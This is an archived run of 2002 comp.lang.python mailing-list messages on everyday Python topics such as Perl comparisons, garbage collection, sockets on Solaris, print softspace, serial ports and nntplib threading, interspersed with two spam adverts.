----------------------------------------------------------------------- The information in this email is confidential and may be legally privileged. It is intended solely for the addressee. Access to this email by anyone else is unauthorised. If you are not the intended recipient, any disclosure, copying, distribution, or any action taken or omitted to be taken in reliance on it, is prohibited and may be unlawful. TriSystems Ltd. cannot accept liability for statements made which are clearly the senders own. From h.cm at uol.com.br Wed May 1 01:24:46 2002 From: h.cm at uol.com.br (rubens) Date: Wed, 1 May 2002 02:24:46 -0300 Subject: AUTOCAD-SEJA UM NOVO CLIENTE Message-ID: <E172mbe-0007qE-00@mail.python.org> PRESTA??O DE SERVI?OS DE AUTOCAD DESDE 1986 REGULARIZA??O DE DESENHOS DE PREFEITURA ATUALIZA??O DE PLANTAS E REVIS?O EM PAPEL PARA ARQUIVO DIGITAL. CONVERTO PLT EM DWG,CONFIGURADO PARA PADR?O DA EMPRESA. FA?O PROJETOS DE *EL?TRICA *HIDR?ULICA *SANEAMENTO (REDE DE ESGOTO PLANTA E PERFIL E REDE DE ?GUA, EMISS?RIO, COLETOR TRONCO E ESTA??O ELEVAT?RIA, ETA) *TOPOGRAFIA *ARQUITETURA *LAYOUT DE ESCRIT?RIO EM GERAL *BOMBEIROS OR?AMENTO SEM COMPROMISSO VALOR A COMBINAR CONTATO 3498.3154 / 5562.4975 OU MANDA EMAIL AT? NOS FINAIS DE SEMANA. h.cm at uol.com.br VEJA PAGINA PARA VER ALGUNS DESENHOS PAGINA ABRE R?PIDO. http://sites.uol.com.br/h.cm/ From rjones at ekit-inc.com Wed May 8 02:08:11 2002 From: rjones at ekit-inc.com (Richard Jones) Date: Wed, 8 May 2002 16:08:11 +1000 Subject: Install.: downgrade 2.2 to 2.1.3. or additionally? In-Reply-To: <3CD8CC91.4040306@web.de> References: <3CD8CC91.4040306@web.de> Message-ID: <200205081608.11601.rjones@ekit-inc.com> On Wed, 8 May 2002 16:58, Florian Konnertz wrote: > I got python 2.2. installed by the linux slackware distro. > I want to use Zope, it requires 2.1.x. > Is there anything to take care of, when installing a second python, > respectively do I have to deinstall the old one? Python 2.1 and 2.2 will live side-by-side on a linux machine - they install their libs in /usr/lib/python2.1 and /usr/lib/python2.2. The most important thing to watch out for is the python executable itself (typically /usr/bin/python). To have both installed, make a copy of /usr/bin/python to /usr/bin/python2.2 - then you'll be able to run apps using 2.2 with that binary. Once 2.1 is installed, move it to /usr/bin/python2.1 and symlink whichever is more convenient to /usr/bin/python. You should be able to get zope to start up using /usr/bin/python2.1 if you want to keep /usr/bin/python symlinked to 2.2. Richard From miracle at paradise.net.nz Thu May 2 22:36:37 2002 From: miracle at paradise.net.nz (Matthew Sherborne) Date: Fri, 3 May 2002 14:36:37 +1200 Subject: Low level python References: <4_hA8.4181$lA2.420467@news.xtra.co.nz> <mailman.1020374885.3044.python-list@python.org> <aasjbf$l5f$1@panix1.panix.com> Message-ID: <jJmA8.4273$lA2.427260@news.xtra.co.nz> You guys are scaring me. I don't feel safe on the cutting edge! It actually doesn't look that hard using WinDriver (they even have device drivers written in VB!) One prob I have to convince the rent payers: It uses 2-3Mb of RAM when running! Who wants a 3Mb device driver? I remember that deeply embedded python recompile python dropping langauge features out. Is there an easy way to do this? Anyone know how I can reduce the memory footprint of Python? Matthew Sherborne From whisper at oz.net Sun May 19 16:24:39 2002 From: whisper at oz.net (David LeBlanc) Date: Sun, 19 May 2002 13:24:39 -0700 Subject: Modular Python Message-ID: <GCEDKONBLEFPPADDJCOEAEGNDDAA.whisper@oz.net> Why not modularize Python into a platform independent Python core ("Python") and then have "PythonWin", "PythonUnix" and "PythonMac" add-on distributions for the OS specifics? I'd also like to see something like "Rock Python" which would be a "bare rock" minimal Python suitable for embedded devices. David LeBlanc Seattle, WA USA From dsavitsk at e-coli.net Fri May 17 15:46:16 2002 From: dsavitsk at e-coli.net (dsavitsk) Date: Fri, 17 May 2002 19:46:16 GMT Subject: Python and IIS References: <1021653047.71194.0@demeter.uk.clara.net> Message-ID: <c6dF8.15193$d7.4920809@newssrv26.news.prodigy.com> note that FAQ 8.17 is entitled "Setting up IIS 5 to use Python for CGI" and might be of help. it will point you to these sites http://www.e-coli.net/pyiis_server.html (for Win2k Server) http://www.e-coli.net/pyiis.html (for Win2k pro) also, if it is Python enough for the FAQ, it is Python enough for comp.lang.python. -d "Robert Plant" <robert.plant at clara.co.uk> wrote in message news:1021653047.71194.0 at demeter.uk.clara.net... > Hi, > > I am sorry if this seems a stupid post but i really dont know how to do > it..... > > I would like to configure IIS 5 to use python cgi scripts. > > I have set up the registry to use the "c:\<prog loc>\python.exe" -u %s %s > A question about this, i created a new string value called .py is this > right?? > > I am confused as to where to put the python script in IIS, and how to > reference the python location in windows, i have only used it in linux > before, ie !#/usr/bin...... > > I put the scripts in a directory in the root folder. > > Anyway, i put the script in a directory and made a html file, but when i > click the button it only prints out the file as text. > > Please could somebody help me. > > Thanks > rob > > From sigurd at 12move.de Mon May 6 15:13:21 2002 From: sigurd at 12move.de (Karl =?iso-8859-1?q?Pfl=E4sterer?=) Date: Mon, 06 May 2002 21:13:21 +0200 Subject: OT: mail-news gateway question References: <slrnadauei.9uf.grante@tuxtop.visi.com> <ab41gs$btu$1@panix3.panix.com> <TnxB8.66154$vm6.12184400@ruti.visi.com> Message-ID: <m3k7qhw0yj.fsf@hamster.pflaesterer.de> On Mon, 06 May 2002, Grant Edwards <- grante at visi.com wrote: > If a group is moderated, where does the e-mail happen? [...] > news server software (whatever's at the other end of the NNTP > connection) that checks to see if a group is moderated and send > the e-mail? Yes. The newsserver knows (should know) which groups are moderated. If you try to post to such a group, the software searches an approved:-header. It doesn't matter what the entry is. If such a header is found, the posting gets inserted in the NG if not the posting is send to the moderators adddress of that NG. There may be cancelbots that check the correctness of the approved:-header. bye KP -- Der wahre Weltuntergang ist die Vernichtung des Geistes, der andere h?ngt von dem gleichgiltigen Versuch ab, ob nach der Vernichtung des Geistes noch eine Welt bestehen kann. Karl Kraus 'Untergang der Welt durch schwarze Magie' From aleax at aleax.it Thu May 2 17:19:29 2002 From: aleax at aleax.it (Alex Martelli) Date: Thu, 02 May 2002 21:19:29 GMT Subject: Python vs. Perl, which is better to learn? References: <mailman.1020147892.13578.python-list@python.org> <9F74AA1B18A57488.23FAAF6892B1E10D.AAAE27FF654FB148@lp.airnews.net> <hoTz8.36930$8D3.1079778@news1.tin.it> <Pine.SOL.4.30.0205022147140.17672-100000@mimosa.csv.warwick.ac.uk> Message-ID: <B3iA8.91514$vF6.2737545@news2.tin.it> John J. Lee wrote: > On Wed, 1 May 2002, Alex Martelli wrote: > [...] >> It may or may not be worth superficially learning both Perl and Python >> before going in depth into either (if it is, then I think Ruby should >> also >> be in the mix). But "variable markers" are still quite a deep >> difference. > > What differences did you have in mind, between Python and Ruby, that are > really significant? I've always lazily assumed there are none (based on > a few minutes scanning of a web page or two). Ruby's built-in classes are modifiable -- so you can instantly change the behavior of all existing strings, for example. Python, while highly dynamic, draws the line quite a bit short of that. Ruby's approach to iterators is close to Smalltalk's - you pass an unnamed code block as an argument to a method. In Python, iterators 'extract' values linearly, and the code block that handles one value at a time is typically placed as the body of a for statement. Sort of inside-out from each other, and not exactly overlapping in terms of what each approach makes it easy to do, though close. Ruby's closer to Perl in many small details, although, as I understand, some are deprecated (in the original sense, i.e., "they're there but we're sorry they are"), such as the ability to call functions without parentheses in certain cases, or special global variables with strange (non alphameric) names. I guess these shouldn't count as "deep". Alex From nas at python.ca Sat May 18 17:44:12 2002 From: nas at python.ca (Neil Schemenauer) Date: Sat, 18 May 2002 14:44:12 -0700 Subject: Disabling garbage colletion? In-Reply-To: <Xns92128578FD968RASXnewsDFE1@130.133.1.4>; from starx@pacbell.net on Sat, May 18, 2002 at 08:06:25PM +0000 References: <Xns92128578FD968RASXnewsDFE1@130.133.1.4> Message-ID: <20020518144412.B31031@glacier.arctrix.com> Philip Swartzleonard wrote: > Hm, i just read in another post that you can turn off the garbage > collector? import gc gc.disable() > What exactly does this stop from happening? Cyclic garbage structures will not be deallocated (i.e. only reference counting will be used). > Is this a good idea if e.g. you have a system which is guarenteed not > to have cyclic-y problems? Hm..... =) Sure, although as Aahz noted, the GC is usually not very expensive. You could also disable it and call it explicitly when you think it's necessary (i.e. gc.collect()). Neil From brian at sweetapp.com Fri May 3 17:27:45 2002 From: brian at sweetapp.com (Brian Quinlan) Date: Fri, 3 May 2002 14:27:45 -0700 Subject: Multidimensional arrays - how? In-Reply-To: <mtu5duks558j5h3a3mrjsqggch7fjn7231@4ax.com> Message-ID: <006f01c1f2e9$5da21690$445d4540@Dell2> > Yes , but what if I would like to use string keys instead of numbers? > E.g. > > book, chapter, para = 'a', 'b', 'c' ? > > x = [[['para0', 'para1']]] # will not work as I wanted > Nested lists are easer implemented in PHP, I am afraid. > $x['a']['b']['c'] = 'txt' works without any problem. That's because PHP doesn't have a "list" type. It has an associative array type that is similar to Python's dictionary. The nice thing about PHP having a single indexable type is that it can offer you some syntactic sugar. The down side is that it is less flexible and can't offer O(1) access. PHP: $x['a']['b']['c'] = 'txt' Python: x = {} x.setdefault('a', {}).setdefault('b', {})['c'] = 'txt' But in Python, one would be more likely to use a different data structure, like maybe a class. Cheers, Brian From fredrik at pythonware.com Wed May 1 05:04:55 2002 From: fredrik at pythonware.com (Fredrik Lundh) Date: Wed, 01 May 2002 09:04:55 GMT Subject: _socket on solaris References: <aao9gl$km3$1@news.iucc.ac.il> Message-ID: <XcOz8.4556$p56.1048027@newsb.telia.net> eli li wrote: > When I run my program on Solaris, the next message is printed. > > Traceback (most recent call last): > . . . . . . . . . . . . . . . . . . . . . > File "/usr/local/lib/python2.2/socket.py", line 41, in ? > from _socket import * > ImportError: No module named _socket > > The reason is clear: file _socket is not found. Where can I found this > library? the _socket module is part of the standard distribution. if you don't have it, your install/configuration is broken. some possible reasons: - you're picking up a pre-2.2 interpreter, but have set the PYTHONHOME or PYTHONPATH environment variables to point to a newer standard library. to check this, just run "python" without any arguments, and look for the version number on the first line. - whoever installed python messed up, and failed to copy the extension modules. to check this, start the interpreter and type: >>> import sys >>> sys.path look for a lib-dynload directory in the path, and check that there's a file called _socket.so (or _socketmodule.so) in that directory. - if this doesn't help, rebuild/double-check/reinstall (or ask your local friendly system administrator for help). </F> From mkc+dated+1023323668.e98243 at mathdogs.com Mon May 6 20:35:29 2002 From: mkc+dated+1023323668.e98243 at mathdogs.com (Mike Coleman) Date: 06 May 2002 19:35:29 -0500 Subject: Python vs. Perl, which is better to learn? References: <mailman.1020697330.27346.python-list@python.org> Message-ID: <87k7qg23se.fsf@mathdogs.com> "Brian Quinlan" <brian at sweetapp.com> writes: > Paul Prescod has a rant about this: > http://www.prescod.net/perl/whynot.html Here's another: http://www.mathdogs.com/people/mkc/perl-puzzles.html Mike From tjreedy at udel.edu Wed May 22 19:09:23 2002 From: tjreedy at udel.edu (Terry Reedy) Date: Wed, 22 May 2002 23:09:23 GMT Subject: Why does Python mix OO concepts and non OO concepts for operations on basic types? References: <mailman.1022091281.4506.python-list@python.org> Message-ID: <DyVG8.71910$th.7018098@bin2.nnrp.aus1.giganews.com> "Michael Bauers" <MichaelB at firstlogic.com> wrote in message news:mailman.1022091281.4506.python-list at python.org... > > Why do you say x = []; x.append('a'), but get the length with len(a) ? > > Is there a reason for this sort of inconsistency? In the beginning, there was a decision to make general multitype functions/methods builtin functions instead of methods. Hence type(object) instead of object.type(). For some types (strings and tuples), this eliminated the need for methods. Before 2.2, (1,2,3).len() was not possible. Terry J. Reedy From hancock at anansispaceworks.com Wed May 1 09:14:41 2002 From: hancock at anansispaceworks.com (Terry Hancock) Date: Wed, 01 May 2002 06:14:41 -0700 Subject: Python vs. Perl, which is better to learn? References: <20020501192102.11396.83978.Mailman@mail.python.org> Message-ID: <3CCFEA41.E1BD308B@anansispaceworks.com> From: geek <geek+ at andrew.cmu.edu> Organization: > Then <aaovlj$agm$1 at bubba.NMSU.Edu>, spoke up and said: > > Bob Melson <"melsonr at earthlink.net"> wrote: > > >Kinda hard to say. In general, however, I'd say that _I_ > would be inclined > > >to use perl in preference to python where there's no > significant advantage > > >to be derived from python's OO features. > > > > Can you provide a non-contrived example, given that you're > attempting to > > advise someone who knows neither Perl nor Python? > > My rule is simply: if there's no good reason to use !Python, use > Python. Now, what's a good reason not to use Python? I've got practical examples: I sometimes use Perl as a "super-sed". The original sed's REs are getting quite out of date, so it's kind of nice to use Perl's. Doing the same thing in Python is quite feasible, but will probably take about an hour longer to make work, because you have to get the import right, compile the regex and figure out how to get data in and out of the program. All easy stuff, but extra lines of code, and if you're thumbfingered with the RE module it takes some time to get right. If the project was going to take five minutes to write in Perl, then that's about 1200% overhead. Particularly nasty if the lifetime of use is another ten minutes. In developing a web app in Python/Zope I needed a bunch of image-buttons. They are color coded -- or rather color-scheme coded because they are anti-aliased. I used ImageMagick's convert to pipe the GIFs out to an XPM which is a readable, palette-based format (open it in gvim if you want to see a cool example of syntax highlighting). Anyway, I can easily use a regex to swap the color patterns around in the palette, e.g.: perl -pe 's/(00)([0-9a-f][0-9a-f])00/\2\2\1/' green.xpm > yellow.xpm (Now loop that over a couple hundred files, either in Perl, or as I did, using tcsh's foreach. Then change colors and loop again.). That would've taken a bit longer in Python, and it's doubtful I would recoup the investment (though I probably spent more on this email ;-D ). It's not foolproof -- it won't catch named colors, for example, only numerical ones. But it was good enough and fast enough. A slightly less trivial example was a problem in which my partner had recorded a bunch of business transactions in a comma-separated list in what turned out to be the wrong order. She wanted to flip everything around and compute sums over it. We aren't planning on standardizing on this format or anything -- we just haven't gotten a spreadsheet or database solution that works for this yet. April 15th was pressing and we just needed to get the stats ready for it (this is the Income Tax deadline in the US). I spent about 30 minutes and got the output to work using Perl. It was not particularly elegant, but only took about 10-20 lines of code. It was highly dependent on observable, but unintended coincidences in the data, such as the use of metric date order which causes string sorts to be equivalent to date sorting. It was however, noticeably faster than computing it all with a hand-calculator. It was also a good decision, since we actually had to alter it 3-4 times to get the correct answer (this would've taken 2-3 hours on a calculator, because the entire process would have to be repeated). The same thing would've taken me 3-4 hours in Python and about 40-50 lines of code. I would have had a much nicer program though -- one I'd have been able to incorporate or make permanent if I needed to. If we were even considering standardizing on data like this, I'd have used Python. It seems to me that (with considerable training overhead) Perl allows you to make these extremely short utterances of code which do very clever things, do them quickly, and with little development time (e.g. on the order of the single usage time, as above). On the other hand, it doesn't analyze well. I probably won't remember what exactly I did when tax time comes next year, and the coincidences that the above code depended on may not be there. On the other hand, by then I won't need it anymore, because the data will be in a different format. This is what I meant by "duct tape role" in my previous posting. On the other hand, if I'd never learned Perl, I could probably do all of the above in Python. But I might've opted to just do it manually in some cases. That would've been a loss, though, as I would actually have underestimated the cost of doing it manually in both of these examples (both times I expected to get it right the first time, but actually repeated it 3-4 times until I was satisfied -- at a cost of only a couple of minutes for each retry, since I had used a program). The problem of course, is that this kind of underestimation happens a lot. In particular, a program you write to solve one problem is frequently one you realize later would be useful for something else. And then you want to add stuff to it. With Perl this would get you into trouble quickly, whereas Python encourages you to use more sensible design and you usually wind up with something you *can* reuse. My biggest argument for Python though, is that it is the only language I can program in while being interrupted by small children! I don't know why, though I theorize that it's because of the explicit readability, but I can "recover state" much faster with Python than with any other language I've tried (including, but not limited to Perl), which generally require me to maintain very high levels of focus to code. When you're being interrupted every 1-5 minutes by a diaper emergency, spilled oatmeal, or urgent reports from "Planet Iima", this becomes a non-trivial concern. If it takes you typically 5-minutes to recover your focus, it can quickly be seen that your productivity will plummet to near zero, while if you can recover in 30-seconds or so, you'll be at 50-90% efficiency, which is not too bad. I assert that this environment is the severest test of mental discipline you can go through! ;-D Good for the soul, though, I suppose, and better than not programming at all. -- Terry DISCLAIMER: I have made every effort to ensure that there are no objectively-verifiable statements in the above (any seeming objective statements are hereby declared bogus and void), making this entire communication subjective, and most emphatically, IMHO. ;-D Personally, I think the whole issue is aesthetic and subjective, and I might like to make the assertion that it is rigorously impossible to be otherwise. But I'll leave that to the philosophers! -- ------------------------------------------------------ Terry Hancock hancock at anansispaceworks.com Anansi Spaceworks http://www.anansispaceworks.com ------------------------------------------------------ From jb at cascade-sys.com Wed May 15 16:14:43 2002 From: jb at cascade-sys.com (James J. Besemer) Date: Wed, 15 May 2002 13:14:43 -0700 Subject: accessing serial/parallel port from Python References: <abh249$kh4$1@knossos.btinternet.com> <m3y9el66xv.fsf@hare.demon.co.uklaily> Message-ID: <3CE2C1B3.148DCE51@cascade-sys.com> Yes. You simply open them like any other "file". ioctl functions work too, e.g., to send break on a serial line. TTY = "/dev/ttyS1" ttyi = open( TTY, "rb" ) ttyo = open( TTY, "wb" ) ... --jb Les Smithson wrote: > >>>>> "Nick" == Nick Evans <nick at huff.org.uk> writes: > > Nick> Hello group, Could anyone tell me if it is possable to > Nick> access the Physical ports of a computer from python. I have > Nick> a few electronic projects that i originally wrote programes > Nick> in QBasic to access them, but i would like to start using > Nick> python. > > Nick> Cheers in advance Nick Evans > > For Linux //el ports, try my ioport package - > http://www.hare.demon.co.uk/ioport/ioport.html. > > For multi-platform serial I/O, pySerial is good - > http://pyserial.sourceforge.net. > -- > http://mail.python.org/mailman/listinfo/python-list -- James J. Besemer 503-280-0838 voice http://cascade-sys.com 503-280-0375 fax mailto:jb at cascade-sys.com From aleax at aleax.it Fri May 3 03:25:07 2002 From: aleax at aleax.it (Alex Martelli) Date: Fri, 03 May 2002 07:25:07 GMT Subject: print , (was Re: Python vs. Perl, which is better to learn?) References: <mailman.1020308224.15313.python-list@python.org> <aas9tn$l89$1@panix1.panix.com> <QSiA8.40950$8D3.1200259@news1.tin.it> <aasj53$jdr$1@panix1.panix.com> Message-ID: <nXqA8.92311$vF6.2766580@news2.tin.it> Aahz wrote: ... > <blink> Learn something new every frickin' day. I was not familiar with > this extra cute magic behavior of "print ," at the end of a line. I It's called the "softspace" behavior, because that's the name of the attribute of the file or file-like object that print uses to control it. It's best viewed by having a filelike object that traces setting and getting of softspace, and printing to it -- e.g.: class Flo(object): def __init__(self): self._softspace = 0 def setSS(self, v): print "sSS %s->%s"%(self._softspace,v) self._softspace = v def getSS(self): print "gSS ->%s"%self._softspace return self._softspace softspace=property(getSS,setSS) def write(self, buf): print "wri %r"%buf flo = Flo() print >> flo, 'One','Two' print print >> flo, 'With a nl\n', print print >> flo, 'without', print print >> flo, 'finis' The trace will then be: gSS ->0 sSS 0->1 wri 'One' gSS ->1 sSS 1->1 wri ' ' wri 'Two' wri '\n' gSS ->1 sSS 1->0 gSS ->0 sSS 0->1 wri 'With a nl\n' gSS ->1 sSS 1->0 gSS ->0 sSS 0->1 wri 'without' gSS ->1 sSS 1->1 wri ' ' wri 'finis' wri '\n' gSS ->1 sSS 1->0 I think this is pretty instructive. You'll see the extra ' ' is written separately, conditionally on the previous value of softspace; SS itself is set to 1 or 0 depending on whether a \n was last emitted, etc. This bit of extra state is kept per-file in the most natural way, i.e. through a fileobject attribute (if you write your own fileobjects, make sure their softspace attribute can be set and read -- care is only needed if you have __slots__ or for a C-coded extension). All in all, a neat hack, even though I fully understand not wanting to rely on such stuff for "production code", when sys.stdout.write is far simpler and easier to control. So, I'll agree that my use of the "print someline," idiom/trick was inferior, in as much as that short program WAS meant to be an example of "production code"! 'print' is often NOT "the simplest thing that can possibly work"... Alex From jblazi at hotmail.com Thu May 30 12:44:10 2002 From: jblazi at hotmail.com (jb) Date: Thu, 30 May 2002 18:44:10 +0200 Subject: Using nntplib References: <3cf633df_2@news.newsgroups.com> <04sJ8.51500$%u2.49899@atlpnn01.usenetserver.com> Message-ID: <3cf65536_3@news.newsgroups.com> Steve Holden wrote: > http://pydish.holdenweb.com/pwp/chp5notes.htm > > As far as informing the GUI thread about what's been received so far, > whether you use LIST or XOVER perhaps you could just put the headers onto > a Queue (see that Queue module) and letting the GUI thread take them off. > That should ease up any critical-section issues. Thx, this sounds intresting. But I should have to change nntplib, should I not? That I should use queues, is obvious. Should I insert enqueueing (?) at the position I marked in my first posting? Maybe the best solution would be to use QSockets (as I work with PyQt). Then I can use Qt signaling in a very natural way. I could create a new, asynchronous version of nntplib, that works with Qt signals (and this seems easy as nntplib is nicely documented and clear). What do you think of this? TIA, -- Janos Blazi "Il n'y a gu?re dans la vie qu'une pr?occupation grave: c'est la mort;" (Dumas) -----------== Posted via Newsfeeds.Com - Uncensored Usenet News ==---------- http://www.newsfeeds.com The #1 Newsgroup Service in the World! -----= Over 100,000 Newsgroups - Ulimited Fast Downloads - 19 Servers =----- From scfive at topica.email-publisher.com Wed May 29 02:00:15 2002 From: scfive at topica.email-publisher.com (SiteChatter.com) Date: Tue, 28 May 2002 23:00:15 -0700 Subject: Add Live Support to your Website Message-ID: <51715.800042077.123878576-1463792638-1022652028@topica.com> An HTML attachment was scrubbed... URL: <http://mail.python.org/pipermail/python-list/attachments/20020528/34fa149b/attachment.html> From peter at abbnm.com Sat May 4 20:13:25 2002 From: peter at abbnm.com (Peter da Silva) Date: 5 May 2002 00:13:25 GMT Subject: Python vs. Perl, which is better to learn? References: <mailman.1020147892.13578.python-list@python.org> <m3offy6i7k.fsf@chvatal.cbbrowne.com> <aaurk6$rir@web.eng.baileynm.com> <aavl5g$jf0$1@glue.ucr.edu> Message-ID: <ab1tf5$3q0@web.eng.baileynm.com> In article <aavl5g$jf0$1 at glue.ucr.edu>, <thp at cs.ucr.edu> wrote: > In comp.lang.misc Peter da Silva <peter at abbnm.com> wrote: > : C++ is horribly complex because the original design was a more or less > : pragmatic scheme to support object oriented programming in a non-object- > : oriented language. > So, exactly which parts do you consider to be superfluous? There don't need to be superfluous parts for it to be unnecessarily complex. See, the problem isn't that any specific parts are unnecessary, and there quite likely aren't any... after all, they were each added as they became necessary. The problem is that adding new features over time to a language that wasn't designed for that kind of extension is going a more complex system than you would get if you had started out with a design that had them in mind or had mechanisms that let you extend it naturally. -- I've seen things you people can't imagine. Chimneysweeps on fire over the roofs of London. I've watched kite-strings glitter in the sun at Hyde Park Gate. All these things will be lost in time, like chalk-paintings in the rain. `-_-' Time for your nap. | Peter da Silva | Har du kramat din varg, idag? 'U` From yoonseo at altavista.net Tue May 7 13:54:19 2002 From: yoonseo at altavista.net (SungPil Yoon) Date: 7 May 2002 10:54:19 -0700 Subject: problem with linked directory Message-ID: <d737306c.0205070954.6b0187c8@posting.google.com> Hi, all Here is the problem that I am dealing with: I have a directory structure /home/userdir/dir1 /home/userdir/dir2 /home/userdir/dir3 -> /work/userdir/dir3 The third directory is not a physical directory but a soft link to other directory. When I am in that directory, the shell command 'pwd' gives the result that I want: /home/userdir/dir3> pwd /home/userdir/dir3 But os.getcwd function does not work in the way that I hope: >>> import os >>> os.getcwd() /work/userdir/dir3 Another approach does not work either: >>> import os >>> os.system("pwd") /work/userdir/dir3 How can I obtain what I want using Python? Any help will be appreciated. sungpil From mkc+dated+1023822045.28c649 at mathdogs.com Sun May 12 15:06:07 2002 From: mkc+dated+1023822045.28c649 at mathdogs.com (Mike Coleman) Date: 12 May 2002 14:06:07 -0500 Subject: OT: Crazy Programming References: <mailman.1021198403.21335.python-list@python.org> Message-ID: <87offlnq3k.fsf@mathdogs.com> Oleg Broytmann <phd at phd.pp.ru> writes: > BTW, the idea of Perl Golf is interesting, but unapplied to Python. It > is possible to write short ugly programs in Python, but I would not to make > them the goal of a contest. > I'd better see a contest for "Python elegance", but unfortunately > "elegance" is hard (though not impossible) to measure. That was my thought exactly. It's kind of a cool idea, but measuring the wrong thing. The shortest programs may have hack value, but they're absolutely awful in terms of readability, maintainability, etc. This may be orthogonal or even somewhat in line with the Perl ethos, but I see it as fairly antithetical to that of Python. If one wanted to measure brief programs in Python, they should be measured in (say) tokens rather than bytes, to at least allow for this difference. As you say, if you want to measure elegance, you'd probably need to judge it or vote on it. Mike From phd at phd.pp.ru Tue May 7 03:37:47 2002 From: phd at phd.pp.ru (Oleg Broytmann) Date: Tue, 7 May 2002 11:37:47 +0400 Subject: article: MS in Peruvian open-source nightmare In-Reply-To: <Xns9207DFB622ECcliechtigmxnet@62.2.16.82>; from cliechti@gmx.net on Tue, May 07, 2002 at 01:20:47AM +0200 References: <Xns9207DFB622ECcliechtigmxnet@62.2.16.82> Message-ID: <20020507113747.A3761@phd.pp.ru> On Tue, May 07, 2002 at 01:20:47AM +0200, Chris Liechti wrote: > a peruvian congressman answers to letter form MS. > its an long, but interesting read in favor of open source (hi Oleg ;-). Hi, there :) Oleg. -- Oleg Broytmann http://phd.pp.ru/ phd at phd.pp.ru Programmers don't die, they just GOSUB without RETURN. From fperez528 at yahoo.com Mon May 20 03:59:59 2002 From: fperez528 at yahoo.com (Fernando =?ISO-8859-1?Q?P=E9rez?=) Date: Mon, 20 May 2002 01:59:59 -0600 Subject: string module References: <mailman.1021875451.29191.python-list@python.org> Message-ID: <acaakr$2k3$1@peabody.colorado.edu> Tim Peters wrote: > A more relevant section in string.py is at its end: > > try: > from strop import maketrans, lowercase, uppercase, whitespace > letters = lowercase + uppercase > except ImportError: > pass Well, that still doesn't answer my question. I modified that section to read: try: from strop import maketrans, lowercase, uppercase, whitespace letters = lowercase + uppercase print 'strop' except ImportError: print 'no strop' pass # Use the original versions Now, at the interactive python prompt: [~]> python Python 2.2 (#1, Feb 24 2002, 16:21:58) [GCC 2.96 20000731 (Mandrake Linux 8.2 2.96-0.76mdk)] on linux-i386 Type "help", "copyright", "credits" or "license" for more information. strop >>> import string >>> string.__file__ '/usr/lib/python2.2/string.py' >>> print string.uppercase ABCDEFGHIJKLMNOPQRSTUVWXYZ?????????????????????????????? >>> But running the following file: import string print string.__file__ print string.uppercase I get: [~]> python t.py strop /usr/lib/python2.2/string.py ABCDEFGHIJKLMNOPQRSTUVWXYZ Why the difference? They are both apparently importing the same thing, from the same code. I just don't get it. Thanks for any enlightenment, f. From sholden at holdenweb.com Fri May 31 05:18:28 2002 From: sholden at holdenweb.com (Steve Holden) Date: Fri, 31 May 2002 05:18:28 -0400 Subject: Using nntplib References: <3cf633df_2@news.newsgroups.com> <04sJ8.51500$%u2.49899@atlpnn01.usenetserver.com> <3cf65536_3@news.newsgroups.com> Message-ID: <IhHJ8.75955$%u2.62874@atlpnn01.usenetserver.com> "jb" <jblazi at hotmail.com> wrote ... > Steve Holden wrote: > > http://pydish.holdenweb.com/pwp/chp5notes.htm > > > > As far as informing the GUI thread about what's been received so far, > > whether you use LIST or XOVER perhaps you could just put the headers onto > > a Queue (see that Queue module) and letting the GUI thread take them off. > > That should ease up any critical-section issues. > > Thx, this sounds intresting. But I should have to change nntplib, should I > not? That I should use queues, is obvious. Should I insert enqueueing (?) > at the position I marked in my first posting? > Well I'm not sure why you think nntplib changes would be required. Perhaps I didn't explain myself clearly. You were suggesting having a GUI thread and a "worker" thread (if I understood you). I was simply saying that the worker thread could use XOVER to find out what messages are available, and then retrieve them (using the standard nntplib features) and queue them for the GUI thread to display. The sample code I referenced shows how, with no nntplib changes. Clearly the messages would need to be available to other worker threads as well. > Maybe the best solution would be to use QSockets (as I work with PyQt). Then > I can use Qt signaling in a very natural way. I could create a new, > asynchronous version of nntplib, that works with Qt signals (and this seems > easy as nntplib is nicely documented and clear). What do you think of this? > I couldn't say, having hardly touched Qt. I was suggesting using the Queue module, a thread-safe way of passing data between threads. Then, as someone else suggested, your GUI and your worker threads don't interfere with each other. the-rest-is-up-to-youly y'rs - steve-- ----------------------------------------------------------------------- Steve Holden http://www.holdenweb.com/ Python Web Programming http://pydish.holdenweb.com/pwp/ ----------------------------------------------------------------------- From ChrisE at lantech.com Fri May 10 11:16:55 2002 From: ChrisE at lantech.com (Christopher Encapera) Date: Fri, 10 May 2002 11:16:55 -0400 Subject: is there a better way... Message-ID: <BC74F8F7E87DD511990C000103E2FEFA302C@XCHG> to loop over a list and replace an element based on its value than: x = [1,2,3,4,5,6,7,8,9] y = len(x) z = 0 while z < y: element = x[z] if element == 5: x[z] = '678' z = z +1 Another words is there a way to do this with a "for" statement - some method that will return the current z (of x[z]) in the loop? (My goal is to open Windows logon scripts and update the path to the latest virus DAT's) Thanks in advance! Christopher Encapera Lantech.Com chrise at lantech.com 502-267-4200 From look at replyto.address.invalid Wed May 22 22:56:20 2002 From: look at replyto.address.invalid (Greg Ewing) Date: Thu, 23 May 2002 14:56:20 +1200 Subject: Extending: overloading operators (e.g. for a vector class) References: <Xns9216288B48C8Fcliechtigmxnet@62.2.16.82> Message-ID: <3CEC5A54.F6EA2C82@replyto.address.invalid> Chris Liechti wrote: > > it seems to me tp_as_number supports __mul__ for numbers, but only for > instances of the same type, Looking at the interpreter code, it looks like if you set the NEW_STYLE_NUMBER flag in the type object, the object's binary operator methods are called directly, regardless of the other operand type, and without any coercion. > and there seems so be an other place where a __mul__ can be emulated: > sq_repeat for sequences. can/must i define both, or none? It also seems that the sq_repeat slot is never called from interpreted code any more. So, it appears that if you: 1) set the NEW_STYLE_NUMBER flag 2) put your method in the tp_as_number->nb_multiply slot you will get the same result as you did with the Python version. -- Greg Ewing, Computer Science Dept, University of Canterbury, Christchurch, New Zealand http://www.cosc.canterbury.ac.nz/~greg From davebutlerREMOVE at hotmail.com Fri May 31 10:04:41 2002 From: davebutlerREMOVE at hotmail.com (Dave Butler) Date: Fri, 31 May 2002 14:04:41 GMT Subject: Persistent Directory Change? References: <UaLJ8.12059$W04.578566@twister.rdc-kc.rr.com> <FgLJ8.80380$%u2.65185@atlpnn01.usenetserver.com> Message-ID: <ZpLJ8.12060$W04.579298@twister.rdc-kc.rr.com> Steve, Thanks for the reply. I suspected this was the case, but wanted to make sure I was not overlooking something obvious. One kludgey approach I came up with is: batfile1.cmd -------------- python script.py batfile2.cmd where the python script generates batfile2.cmd, which contains the 'cd dir' command. I always look for a more elegant approach when possible (must be why I like Python!). Dave "Steve Holden" <sholden at holdenweb.com> wrote in message news:FgLJ8.80380$%u2.65185 at 